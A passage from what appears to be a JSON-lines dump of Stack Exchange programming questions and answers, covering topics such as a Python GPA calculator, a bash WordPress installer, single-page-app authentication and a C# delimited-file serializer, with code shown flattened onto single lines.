(upperleft)func orderrooms(room1, room2 room) (room, room) {    dist1 := room1.x*room1.x + room1.y*room1.y    dist2 := room2.x*room2.x + room2.y*room2.y    if dist1 < dist2 {        return room1, room2    }    return room2, room1}http://play.golang.org/p/8W_FbBfUjb (You can run it here. But since time.Now() is fixed there, you will always get same maze.)In any aspect of it, how does it look?"  , "title": "Creating random maze in Go"  , "tags": "random;go"  } 
{  "id": "_codereview.75799"  , "question": "This is my code, for calculating a GPA for 7 subjects. It works, but is there a better way? Any hints on making it more flexible?from __future__ import divisionimport stringprint This program will calculate a Semester GPA for a given set of courses. Enter 0 in all inputs, if you want to skip extra courses.\\ncname1 = raw_input(First course name: )while True:    cred1 = raw_input(First course credit: )    try:        i = int(cred1)        break    except ValueError:        print 'Invalid input, Should be an positive interger'grade1 = raw_input(First course grade: )choice1 = grade1while choice1 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]:    print 'Invalid choice'    grade1 = raw_input(First course grade: )    users_turn = choice1 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]    choice1 = grade1cname2 = raw_input(Second course name: )while True:    cred2 = raw_input(Second course credit: )    try:        i = int(cred2)        break    except ValueError:        print 'Invalid input, Should be an positive interger'grade2 = raw_input(Second course grade: )choice2 = grade2while choice2 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]:    print 'Invalid choice'    grade2 = raw_input(Second course grade: )    users_turn = choice2 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]    choice2 = grade2cname3 = raw_input(Third course name: )while True:    cred3 = raw_input(Third course credit: )    try:        i = int(cred3)        break    except ValueError:        print 'Invalid input, Should be an positive interger'grade3 = raw_input(Third course grade: )choice3 = grade3while choice3 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]:    print 'Invalid choice'    grade3 = raw_input(Third course grade: )    users_turn = choice3 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]    choice3 = grade3cname4 = raw_input(Fourth course name: )while True:    cred4 = raw_input(Fourth course credit: )    try:        i = int(cred4)        break    except ValueError:        print 'Invalid input, Should be an positive interger'grade4 = raw_input(Fourth course grade: )choice4 = grade4while choice4 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]:    print 'Invalid choice'    grade4 = raw_input(Fourth course grade: )    users_turn = choice4 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]    choice4 = grade4cname5 = raw_input(Fifth course name: )while True:    cred5 = raw_input(Fifth course credit: )    try:        i = int(cred5)        break    except ValueError:        print 'Invalid input, Should be an positive interger'grade5 = raw_input(Fifth course grade: )choice5 = grade5while choice5 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]:    print 'Invalid choice'    grade5 = raw_input(Fifth course grade: )    users_turn = choice5 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]    choice5 = grade5cname6 = raw_input(Sixth course name: )while True:    cred6 = raw_input(Sixth course credit: )    try:        i = int(cred6)        break    except ValueError:        print 'Invalid input, Should be an positive interger'grade6 = raw_input(Sixth course grade: )choice6 = grade6while choice6 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]:    print 'Invalid choice'    grade6 = raw_input(Sixth course grade: )    users_turn = choice6 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]    choice6 = grade6cname7 = raw_input(Seventh course name: )while True:    cred7 = raw_input(Seventh course credit: )    try:        i = int(cred7)        break    except ValueError:        print 'Invalid input, Should be an positive interger'grade7 = raw_input(Seventh course grade: )choice7 = grade7while choice7 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]:    print 'Invalid choice'    grade7 = raw_input(Seventh course grade: )    users_turn = choice7 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]    choice7 = grade7totalGPA = 0.0overallGPA = 0.0cred1i = string.atoi(cred1)cred2i = string.atoi(cred2)cred3i = string.atoi(cred3)cred4i = string.atoi(cred4)cred5i = string.atoi(cred5)cred6i = string.atoi(cred6)cred7i = string.atoi(cred7)if grade1 in {A+, a+, A, a}:    c1points = (4.0*cred1i)elif grade1 in {A-, a-}:    c1points = (3.67*cred1i)elif grade1 in {B+, b+}:     c1points = (3.33*cred1i)elif grade1 in {B, b}:    c1points = (3.0*cred1i)elif grade1 in {B-, b-}:    c1points = (2.67*cred1i)elif grade1 in {C+, c+}:    c1points = (2.33*cred1i)elif grade1 in {C, c}:    c1points = (2.0*cred1i)elif grade1 in {C-, c-}:    c1points = (1.67*cred1i)elif grade1 in {D+, d+}:    c1points = (1.33*cred1i)elif grade1 in {D, d}:    c1points = (1.0*cred1i)else:    c1points = 0.0if grade2 in {A+, a+, A, a}:    c2points = (4.0*cred2i)elif grade2 in {A-, a-}:    c2points = (3.67*cred2i)elif grade2 in {B+, b+}:     c2points = (3.33*cred2i)elif grade2 in {B, b}:    c2points = (3.0*cred2i)elif grade2 in {B-, b-}:    c2points = (2.67*cred2i)elif grade2 in {C+, c+}:    c2points = (2.33*cred2i)elif grade2 in {C, c}:    c2points = (2.0*cred2i)elif grade2 in {C-, c-}:    c2points = (1.67*cred2i)elif grade2 in {D+, d+}:    c2points = (1.33*cred2i)elif grade2 in {D, d}:    c2points = (1.0*cred2i)else:    c2points = 0.0if grade3 in {A+, a+, A, a}:    c3points = (4.0*cred3i)elif grade3 in {A-, a-}:    c3points = (3.67*cred3i)elif grade3 in {B+, b+}:     c3points = (3.33*cred3i)elif grade3 in {B, b}:    c3points = (3.0*cred3i)elif grade3 in {B-, b-}:    c3points = (2.67*cred3i)elif grade3 in {C+, c+}:    c3points = (2.33*cred3i)elif grade3 in {C, c}:    c3points = (2.0*cred3i)elif grade3 in {C-, c-}:    c3points = (1.67*cred3i)elif grade3 in {D+, d+}:    c3points = (1.33*cred3i)elif grade3 in {D, d}:    c3points = (1.0*cred3i)else:    c3points = 0.0if grade4 in {A+, a+, A, a}:    c4points = (4.0*cred4i)elif grade4 in {A-, a-}:    c4points = (3.67*cred4i)elif grade4 in {B+, b+}:     c4points = (3.33*cred4i)elif grade4 in {B, b}:    c4points = (3.0*cred4i)elif grade4 in {B-, b-}:    c1points = (2.67*cred4i)elif grade4 in {C+, c+}:    c4points = (2.33*cred4i)elif grade4 in {C, c}:    c4points = (2.0*cred4i)elif grade4 in {C-, c-}:    c1points = (1.67*cred4i)elif grade4 in {D+, d+}:    c4points = (1.33*cred4i)elif grade4 in {D, d}:    c4points = (1.0*cred4i)else:    c4points = 0.0if grade5 in {A+, a+, A, a}:    c5points = (4.0*cred5i)elif grade5 in {A-, a-}:    c5points = (3.67*cred5i)elif grade5 in {B+, b+}:     c5points = (3.33*cred5i)elif grade5 in {B, b}:    c5points = (3.0*cred5i)elif grade5 in {B-, b-}:    c5points = (2.67*cred5i)elif grade5 in {C+, c+}:    c5points = (2.33*cred5i)elif grade5 in {C, c}:    c5points = (2.0*cred5i)elif grade5 in {C-, c-}:    c5points = (1.67*cred5i)elif grade5 in {D+, d+}:    c5points = (1.33*cred5i)elif grade5 in {D, d}:    c5points = (1.0*cred5i)else:    c5points = 0.0if grade6 in {A+, a+, A, a}:    c6points = (4.0*cred6i)elif grade6 in {A-, a-}:    c6points = (3.67*cred6i)elif grade6 in {B+, b+}:     c6points = (3.33*cred6i)elif grade6 in {B, b}:    c6points = (3.0*cred6i)elif grade6 in {B-, b-}:    c6points = (2.67*cred6i)elif grade6 in {C+, c+}:    c6points = (2.33*cred6i)elif grade6 in {C, c}:    c6points = (2.0*cred6i)elif grade6 in {C-, c-}:    c6points = (1.67*cred6i)elif grade6 in {D+, d+}:    c6points = (1.33*cred6i)elif grade6 in {D, d}:    c6points = (1.0*cred6i)else:    c6points = 0.0if grade7 in {A+, a+, A, a}:    c7points = (4.0*cred7i)elif grade7 in {A-, a-}:    c7points = (3.67*cred7i)elif grade7 in {B+, b+}:     c7points = (3.33*cred7i)elif grade7 in {B, b}:    c7points = (3.0*cred7i)elif grade7 in {B-, b-}:    c7points = (2.67*cred7i)elif grade1 in {C+, c+}:    c7points = (2.33*cred7i)elif grade7 in {C, c}:    c7points = (2.0*cred7i)elif grade7 in {C-, c-}:    c7points = (1.67*cred7i)elif grade7 in {D+, d+}:    c7points = (1.33*cred7i)elif grade7 in {D, d}:    c7points = (1.0*cred7i)else:    c7points = 0.0totalCredits = cred1i+cred2i+cred3i+cred4i+cred5i+cred6i+cred7ioverallGPA = (c1points + c2points + c3points + c4points + c5points + c7points + c7points)/totalCreditscname1 = cname1.ljust(15)cred1 = cred1.center(9)grade1 = grade1.center(6)cname2 = cname2.ljust(15)cred2 = cred2.center(9)grade2 = grade2.center(6)cname3 = cname3.ljust(15)cred3 = cred3.center(9)grade3 = grade3.center(6)cname4 = cname4.ljust(15)cred4 = cred4.center(9)grade4 = grade4.center(6)cname5 = cname5.ljust(15)cred5 = cred5.center(9)grade5 = grade5.center(6)cname6 = cname6.ljust(15)cred6 = cred6.center(9)grade6 = grade6.center(6)cname7 = cname7.ljust(15)cred7 = cred1.center(9)grade7 = grade7.center(6)print COURSE         CREDITS  GRADE \\nprint ------         -------  ----- \\nprint '%s%s%s' % (cname1, cred1, grade1)print '%s%s%s' % (cname2, cred2, grade2)print '%s%s%s' % (cname3, cred3, grade3)print '%s%s%s' % (cname4, cred4, grade4)print '%s%s%s' % (cname5, cred5, grade5)print '%s%s%s' % (cname6, cred6, grade6)print '%s%s%s' % (cname7, cred7, grade7)print SEMESTER GPA = %.2f % (overallGPA)"  , "title": "Getting a 4.0 GPA"  , "tags": "python;python 2.7"  } 
{  "id": "_webapps.44567"  , "question": "I currently have a free Google Apps for your Domain account, with only one email address in there. I will soon be moving from Google Mail to another hosted email solution (such as a hosted Exchange server).As a result of this, I want to remove the Google Apps part from my domain, but retain all of the other services I use, such as Analytics and Webmaster Tools. This would need to move to a Google Account, with the same name as my current Google Apps account.How can I do this?"  , "title": "How to Migrate Google Apps account to regular Google Account"  , "tags": "google apps;google analytics;google account"  , "accepted_answer": "Unfortunately, I could not find a way to do this. It would seem such a feature has not been built by Google.I ended up moving my mail account, linking my Analytics profiles to a separate GMail address, and then destroying my Google Apps domain. Not a great solution, but thankfully it worked as it turns out I didn't use too many other Google services."  } 
{  "id": "_datascience.16485"  , "question": "I'm trying to build recommender based on user history from e-commerce. There are two(potentially more) types of events: purchase and view.Is it okay to sum up number of purchases and views for a given item(with purchase and view having different weights)? Or I`ll just mix up user intent this way? "  , "title": "Recommender System: how to treat different events"  , "tags": "recommender system"  , "accepted_answer": "I assume you're using an implicit feedback recommender approach like ALS. Otherwise, summing data points generally won't make sense, such as if you're feeding it to a recommender that expects ratings.The input to implicit ALS is, conceptually, weighted user-item pairs. Therefore it makes sense to perhaps use a sum of user-item clicks as the weight. Summing makes sense.However, does a purchase and view seem to carry the same weight? obviously not. A purchase is a much stronger association and should be weighted accordingly.As to how much, I'd suggest weighting purchases simply by price, to start. Then weight clicks by price times purchase-to-click ratio. A $10 item purchase is weight 10; if 1 in 200 clicks results in a purchase, then weight a click 0.2.This is crude but probably about as close as anything for capturing this info in the context of ALS."  } 
{  "id": "_unix.154229"  , "question": "I have 2 computers, both with Gigabit controllers, connected with a regular Ethernet cable. I have a host machine, which is connected to the internet, and a client machine, which is only connected to the host machine. I would like to share the host's internet connection with the client machine. I have read online, and I found out the best way to do this is by opening Network Manager's GUI on my host machine, editing my Ethernet connection and setting the IPv4 settings to Shared to other computers. On my client machine, I have it set to automatically get an IP address using DHCP. My host machine does not detect the cable as being plugged in under these settings, and my client machine reports me it cannot connect to the network. How do I properly share my internet connection from the host machine to my client machine, preferably using Network Manager. "  , "title": "How to share internet connection over Ethernet using Network Manager?"  , "tags": "networkmanager;internet"  } 
{  "id": "_softwareengineering.342772"  , "question": "List specific programming concepts that should code adhere to that it will run in parallel. For example, if a block of code does not change shared state, it should be able to be done on another thread. What other such attributes exist? I would imagine there only to be a small number of such concerns by which to evaluate whether code is a good candidate for parallelization, so what are they?  For example SQL Server when creating the execution plans much use these test to decide for each query section whether to run it in serial or allow it to run on another CPU. All I'm looking for is the list of theoretical rules, nothing implementation-specific."  , "title": "What specific attributes make code able to be executed in parallel?"  , "tags": "parallel programming"  } 
{  "id": "_codereview.18862"  , "question": "I have a lot of variables that I need to check for exceptions and output the empty field in case of a null returned value (I am reading a calender list from Sharepoint and my program is supposed to send email notifications if some of the conditions are met).I surrounded my variables with a try-catch with a generic output variable not found. Here is an example;try{var name = item[Name].ToString(); var dueDate= item[Due Date].ToString();..//more variables.   var Title= item[Title].ToString();    }catch (Exception ex)                        {                            Console.WriteLine();                            Console.WriteLine(ex.Message); //generic message for now                            Console.WriteLine();                        }Is there is a way to handle this better? I know that going to each individual line and adding an exception is an option but it would save me a lot of time if I can just output something like the variable name."  , "title": "Handling null exception when having multiple variables"  , "tags": "c#;object oriented;exception"  , "accepted_answer": "Refactor into a method:var name = this.GetVariable(Name); var dueDate= this.GetVariable(Due Date);..//more variables.   var Title= this.GetVariable(Title);    private string GetVariable(string name){    try    {        return item[name].ToString();     }    catch (Exception ex)                        {                            Console.WriteLine();                            Console.WriteLine(name +  not found.);                            Console.WriteLine();                            return null;                        }}"  } 
{  "id": "_cs.67429"  , "question": "For example for the  sw command in MIPs, the control signal values areALUOp1: 0ALUOp: 0 RegWrite: 0 MemRead: x MemWrite: 1 Branch: 0 ALUsrc: 1 RegDest: x MemToReg: xWhy do memRead, RegDest and MemToReg have the values of x? Why not just 0? "  , "title": "For data-path cycles in MIPS, what determines wheter a control signal gets the don't-care value?"  , "tags": "cpu pipelines"  } 
{  "id": "_unix.331059"  , "question": "I have one bash script for installing wordpress and want to add also mysql installer to easly can install database#!/bin/bashdr=$1db=$2zDir=latest.zipwpInstall=https://wordpress.org/$zDireval mkdir -p $dr && cd $dr && wget $wpInstall && unzip $zDir && cp -r $dr/wordpress/* $dr && sudo chmod -R 0777 $dr && sudo chmod -R 0777 $dr/* && rm -rf $dr/wordpress && rm -f -r $zDir && echo WordPress installatio$echo CREATE DATABASE IF NOT EXISTS `$db` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci | mysql -u root -phere I have one realy wierd problem:When I run script like this:$ ./install-wp.sh /var/www/test project_somethinginstaller install wordpress, place all files on the rigt place but when start part with mysql I get 2 errors.First is:> ./install-wp.sh: line 13: project_something: command not foundand second after mysql passowrd is entered:ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci' at line 1How to fix this?"  , "title": "How to create new MySQL database with encoding via BASH script"  , "tags": "shell script;mysql"  } 
{  "id": "_unix.204501"  , "question": "An excerpt from the man man page:The default action is to search in all  of  the  available sections following a pre-defined order (1 n l 8 3 2 3posix 3pm 3perl 5 4 9 6 7 by default)What are the n, l and 3pm sections of the manual for?"  , "title": "What are the 'n', 'l', '3pm' sections of the manual for?"  , "tags": "perl;man;posix;standard"  , "accepted_answer": "The 3pm section is not used anymore. It is defined as manual pages concerning modul packages of perl in an old version of the Debian Perl Policy, noteably in version 1.2. Here is a site where you can read that old deprecated policy (see 3.1 and 1.4). In the latest Debian Perl Policy it is defined in 2.4 that module manual pages should be installed in section 3perl now.In the standards manual page you see that POSIX.1-2001, SUSv3 standard has defined manual page sections called 1p and 3p. That is also mentioned at Wikipedia, that p is a subsection that describes POSIX specifications. 3p is also an abbreviation of 3posix, which means the same.The sections n and l seem to appear only in IBMs AIX. n specifies new and l specifies local.Local (l) manual pages describe usage policies, administrative contacts, special local software, and other information unique to this particular installation. New (n) manual pages are for newly installed software. They stay for an amount of time in n before they get moved to their permanent section. In Linux those two section and also the o section (old) are deprecated.Note, that n in Mac OSX can also be the section for Tcl/Tk functions."  } 
{  "id": "_softwareengineering.194859"  , "question": "What's the most secure method of performing authentication in a single paged apps? I'm not talking about any specific client-side or server-side frameworks, but just general guidelines or best practices. All the communications are transfered primarily through sockJS.Also, OAuth is out of the question."  , "title": "Security in Authentication in single page apps"  , "tags": "javascript;security;authentication"  , "accepted_answer": "I think here are two starting points.Web services/REST services on the same server as your single web app.It's not uncommon to do so nor it is necessarily bad, and also clearly the easiest way. Whatever authentication you choose (basic, digest, form, etc.) the API and the app are going to share the same user sessions on the server. Which means several things:The API can easily detect whether the user is logged or not, and obtain its permissions, roles or whatever you need to know if the user is allowed to perform a given action.You can deploy both the API and the app at the same time.Scaling the app is simple, just deploy both the API and the app to another instance. Load balancing is also easier.Monitoring the app is simple.On the negative side, if you want another app to use this API you'll have to either store this new app on the same server, or negotiate the user login yourself (for example, transmitting the credentials to the server). It may be even more complicated if your new app is NOT a web app.Another point: even if it's a single web app, you will most likely load images or other resources. If the API usage is high it may impact the loading time of your app (which is generally a big HTML file) and other client resources. One of the way to prevent this is to use CDN for your JavaScript files, CSS stylesheets and pictures.I think this approach is perfectly suited for quickly launching simple websites and/or for API that will not need to be accessed by other services. And even if you start with that approach (we know everything is possible when it comes to programming, right?) you can still at one point switch to the split API/app model.Web services/REST services on one server and the app on another.The best practice today for authenticating users to a SPA linked to an external API, or an API stored on a different instance of the server is to imitate OAuth in its principles. The key is to use ... keys, or tokens obtained from your main server. The basic flow should be:Authenticate on the main server (where the app is hosted)If the authentication is successful, create a token and send it in the HTTP response, for example in a cookie.Whenever you need to access your API, send the token. It may be sent in a custom HTTP request header for example.The API receives the request and checks :If the requested resource needs a token, otherwise it's ok (example: returning information available to guests, unauthenticated users)If the token is there, check if it's still acceptable. Deciding how and when the token expires is up to you, there are various ways to design the token expiration strategy.Return the response data (optionally, with an updated token)This approach allows you to:Dissociate the API from the apps that are going to use it AND from the user system in itself. Granted, you have to somehow interpret the token, but you don't need to know how and where the user data is stored. If you want a new web app or client/server app to access this API, all you need is a proper token. Deploy separately. For example, updating or fixing your API will not cause the single app server to go down.Monitor usage of your API only.To conclude, apply the KISS and YAGNI principles before deciding. And remember you can always go from one model to another."  } 
{  "id": "_unix.81614"  , "question": "What I'm trying to do backup?users home dir which include Desktop,Documents,Pictures, thunderbird which i need to backup of every userall users are in /home partition with there respective user namethere are certain user AND files in /home which need to be excludeWhat I've tried so far?$ tar cvf home01 -T include /home  NOTE: T which says only take that which are mention in file but does not work$ find . \\( -name \\*Desktop -o -name \\*Documents\\* -o -name \\*Pictures\\*  -o -name \\.thunderbird\\*   \\)  |  xargs  tar zcvf /opt/rnd/home-$(date +%d%m%y).tar.zip NOTE: which takes backup of mention dir but it puts every users dir into one folder.For example$ ls -l /home/home/user1/{Desktop,Documents,Pictures,.thunderbird}/home/user2/{Desktop,Documents,Pictures,.thunderbird}/home/user3/{Desktop,Documents,Pictures,.thunderbird}/home/user4/{Desktop,Documents,Pictures,.thunderbird}/home/user5/{Desktop,Documents,Pictures,.thunderbird}From which I need to take only user1,user2,user3 home dir backup and exclude user4,user5"  , "title": "backup script to exclude some parent dir and include some child dir"  , "tags": "backup"  } 
{  "id": "_unix.163237"  , "question": "I have the following lines in a text file:1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/13/120411.xml 1 1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/11/105016.xml 2 1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/15/149972.xml 3 1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/12/110688.xml 4 and I want to keep only these data:1 Q0 120411 1 1 Q0 105016 2 1 Q0 149972 3 1 Q0 110688 4 namely to keep from each line from the path /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/13/120411.xml for example only the number 120411 and so on..."  , "title": "How to delete specific characters in a text file"  , "tags": "shell script;text processing"  } 
{  "id": "_cs.79638"  , "question": "It's fair to summarize classes in OOP as product types with functions. However, couldn't there be something like sum types with functions? How would inheritance work with them?I'm trying to scout if anybody has considered this question before in language design."  , "title": "What would sum types with functions look like in OOP?"  , "tags": "programming languages;type theory;object oriented"  } 
{  "id": "_unix.88838"  , "question": "How can we preserve or maintain the same history across multiple terminals?The same question, but for bash shell , were discussed in the below linkPreserve bash history in multiple terminal windowslet me know the corresponding settings for tcsh shell ?"  , "title": "Preserve tcsh history in multiple terminal windows"  , "tags": "command history;tcsh"  } 
{  "id": "_softwareengineering.38368"  , "question": "the goal is to have an online documentation system, with these major requirements:will be mainly used as an intermediate stage for the final technical docs of all our application (which will probably never get completed though :]). It would be typically used as so: someone has a problem, I fix it, and write down the fix immedeately. What happens now is getting unmanagable: someone has a problem, I fix it, both me and someone are happy but 2 months later somebody else has the same problem and nobody remembers what the fix was.accessible from everywhere, running behind our apache serveruser/group managment, allowing read-only/read-write/admin accessthe format is not too important: plain text would do, wiki-style would be nicer thoughcheap or freesome ideas of mine:just serve files on a file share or through ssh (cons: not too copmatible with windows, pros: simple, can be any file type)keep it in an SCM (svn/git, idem as above but easier to access and control access)Confluence: we use Jira already, is Confluence worth it? How does it integrate with Jira?something else?Please don't hesitate commenting on these or share your experience with other systems."  , "title": "what kind of online technical documentation system would you recommend?"  , "tags": "documentation"  , "accepted_answer": "I was going to suggest a Wiki As Confluence is a wiki I think using it with your JIRA is an excellent idea. You'll have the advantage of being able to directly tie back into JIRA issues, and therefore the actual code/doc/whatever change made etc.The key to any code doc repo like this is the navigation aspect.  You don't want pages that are disconnected, hard to find etc.  Do put in thought to a 'site layout' much like you would for a web site."  } 
{  "id": "_softwareengineering.216915"  , "question": "I know that in agile requirement changes should not only be planned for but also embraced. But I still don't know agile how to handle these changes. "  , "title": "How to deal with requirement changes in agile development model?"  , "tags": "agile"  } 
{  "id": "_webapps.88917"  , "question": "How can I add second page in Google Plus? I have personal Google+ account and my company page, but I want to create next page about my hobby. How can I do this?"  , "title": "Two pages on Google+"  , "tags": "google plus;google plus pages"  } 
{  "id": "_softwareengineering.60684"  , "question": "You are conversant with the ZF?How would you go about getting familiar with it in one week?What would be your suggested schedule?"  , "title": "Familiarizing with the Zend Framework in one week"  , "tags": "learning;php;zend framework"  , "accepted_answer": "If you have a few years of experience with PHP and are familiar with MVC frameworks, then you shouldn't have a problem to be familiar with ZF in one week. You're not going to be a guru, but you'll be able to get things done. My plan (and what I actually did few years ago), would be to start with ZF QuickStart, build the base of your application. Don't just read, code & try. Then follow the rest of Learning ZF, skipping parts that you're not going to use (eg. if you're not going to be using Lucene, just skip that). Then as code your app, whenever you need more information on some of the components, just go to the ZF Reference Manual. You probably will only need to use small fraction of what's covered there. "  } 
{  "id": "_cs.62824"  , "question": "How do you know that a decision problem $X$ is NP-complete?, if all other NP-problems polynomially transform to $X$ or if all other NP-problems polynomially reduces (there exist a polynomial time oracle for any problem in NP using an oracle for $X$).Definitions seem to differ all over the web.Thanks!"  , "title": "Is NP-complete complexity defined in terms of polynomial reductions or polynomial transformations?"  , "tags": "complexity theory;np complete;reductions;np;oracle machines"  } 
{  "id": "_codereview.139954"  , "question": "This is a follow up to my previous question: Serializing objects to delimited filesI've added some feature enhancements, and based on suggestions from rolfl in chat, I've fixed up a couple inconsistencies with the serializer.First, if you don't mark any properties with DelimitedColumnAttribute, I added a DelimitedIgnoreAttribute which will blacklist columns instead. For objects with no properties marked with either, all properties are serialized instead, with the following exception:No collection properties (except System.String) are serialized, period.You can also replace invalid values in names/fields (values that have the RowDelimiter or ColumnDelimiter in them) with whatever you specify.You can choose whether or not to include the header row.You can choose to quote values/names. If you choose to, all values/names are quoted.You can choose how double-quotes are escaped (necessary for quoted values/names).DelimitedSerializer.cs:/// <summary>/// Represents a serializer that will serialize arbitrary objects to files with specific row and column separators./// </summary>public class DelimitedSerializer{    /// <summary>    /// The string to be used to separate columns.    /// </summary>    public string ColumnDelimiter { get; set; }    /// <summary>    /// The string to be used to separate rows.    /// </summary>    public string RowDelimiter { get; set; }    /// <summary>    /// If not null, then sequences in values and names which are identical to the <see cref=ColumnDelimiter/> will be replaced with this value.    /// </summary>    public string InvalidColumnReplace { get; set; }    /// <summary>    /// If not null, then sequences in values and names which are identical to the <see cref=RowDelimiter/> will be replaced with this value.    /// </summary>    public string InvalidRowReplace { get; set; }    /// <summary>    /// If true, a trailing <see cref=ColumnDelimiter/> will be included on each line. (Some legacy systems require this.)    /// </summary>    public bool IncludeTrailingDelimiter { get; set; }    /// <summary>    /// If true, an empty row will be included at the end of the response. (Some legacy systems require this.)    /// </summary>    public bool IncludeEmptyRow { get; set; }    /// <summary>    /// If true, then all values and columns will be quoted in double-quotes.    /// </summary>    public bool QuoteValues { get; set; }    /// <summary>    /// If not null, then double quotes appearing inside a value will be escaped with this value.    /// </summary>    public string DoubleQuoteEscape { get; set; }    /// <summary>    /// If true, then a header row will be output.    /// </summary>    public bool IncludeHeader { get; set; }    /// <summary>    /// Serializes an object to a delimited file. Throws an exception if any of the property names, column names, or values contain either the <see cref=ColumnDelimiter/> or the <see cref=RowDelimiter/>.    /// </summary>    /// <typeparam name=T>The type of the object to serialize.</typeparam>    /// <param name=items>A list of the items to serialize.</param>    /// <returns>The serialized string.</returns>    public string Serialize<T>(List<T> items)    {        if (string.IsNullOrEmpty(ColumnDelimiter))        {            throw new ArgumentException($The property '{nameof(ColumnDelimiter)}' cannot be null or an empty string.);        }        if (string.IsNullOrEmpty(RowDelimiter))        {            throw new ArgumentException($The property '{nameof(RowDelimiter)}' cannot be null or an empty string.);        }        var result = new ExtendedStringBuilder();        var properties = typeof(T).GetProperties()            .Select(p => new            {                Attribute = p.GetCustomAttribute<DelimitedColumnAttribute>(),                Info = p            })            .Where(x => x.Attribute != null)            .OrderBy(x => x.Attribute.Order)            .ThenBy(x => x.Attribute.Name)            .ThenBy(x => x.Info.Name)            .ToList();        if (properties.Count == 0)        {            properties = typeof(T).GetProperties()                .Where(x => x.GetCustomAttribute<DelimitedIgnoreAttribute>() == null)                .Select(p => new                {                    Attribute = new DelimitedColumnAttribute { Name = p.Name },                    Info = p                })                .Where(x => x.Attribute != null)                .OrderBy(x => x.Attribute.Order)                .ThenBy(x => x.Attribute.Name)                .ThenBy(x => x.Info.Name)                .ToList();        }        Action<string, string, string> validateCharacters = (string name, string checkFor, string humanLocation) =>        {            if (name.Contains(checkFor))            {                throw new ArgumentException($The {humanLocation} string '{name}' contains an invalid character: '{checkFor}'.);            }        };        var columnLine = new ExtendedStringBuilder();        foreach (var property in properties)        {            if (property.Info.PropertyType.IsArray || (property.Info.PropertyType != typeof(string) && property.Info.PropertyType.GetInterface(typeof(IEnumerable<>).FullName) != null))            {                continue;            }            var name = property.Attribute?.Name ?? property.Info.Name;            if (InvalidColumnReplace != null)            {                name = name.Replace(ColumnDelimiter, InvalidColumnReplace);            }            if (InvalidRowReplace != null)            {                name = name.Replace(RowDelimiter, InvalidRowReplace);            }            if (DoubleQuoteEscape != null)            {                name = name.Replace(\\, DoubleQuoteEscape);            }            validateCharacters(name, ColumnDelimiter, column name);            validateCharacters(name, RowDelimiter, column name);            if (columnLine.HasBeenAppended)            {                columnLine += ColumnDelimiter;            }            if (QuoteValues)            {                columnLine += \\;            }            columnLine += name;            if (QuoteValues)            {                columnLine += \\;            }        }        if (IncludeTrailingDelimiter)        {            columnLine += ColumnDelimiter;        }        if (IncludeHeader)        {            result += columnLine;        }        foreach (var item in items)        {            var row = new ExtendedStringBuilder();            foreach (var property in properties)            {                if (property.Info.PropertyType.IsArray || (property.Info.PropertyType != typeof(string) && property.Info.PropertyType.GetInterface(typeof(IEnumerable<>).FullName) != null))                {                    continue;                }                var value = property.Info.GetValue(item)?.ToString();                if (property.Info.PropertyType == typeof(DateTime) || property.Info.PropertyType == typeof(DateTime?))                {                    value = ((DateTime?)property.Info.GetValue(item))?.ToString(u);                }                if (value != null)                {                    if (InvalidColumnReplace != null)                    {                        value = value.Replace(ColumnDelimiter, InvalidColumnReplace);                    }                    if (InvalidRowReplace != null)                    {                        value = value.Replace(RowDelimiter, InvalidRowReplace);                    }                    if (DoubleQuoteEscape != null)                    {                        value = value.Replace(\\, DoubleQuoteEscape);                    }                    validateCharacters(value, ColumnDelimiter, property value);                    validateCharacters(value, RowDelimiter, property value);                }                if (row.HasBeenAppended)                {                    row += ColumnDelimiter;                }                if (QuoteValues)                {                    row += \\;                }                row += value;                if (QuoteValues)                {                    row += \\;                }            }            if (IncludeTrailingDelimiter)            {                row += ColumnDelimiter;            }            if (result.HasBeenAppended)            {                result += RowDelimiter;            }            result += row;        }        return result;    }    /// <summary>    /// Returns an instance of the <see cref=DelimitedSerializer/> setup for Tab-Separated Value files.    /// </summary>    public static DelimitedSerializer TsvSerializer => new DelimitedSerializer    {        ColumnDelimiter = \\t,        RowDelimiter = 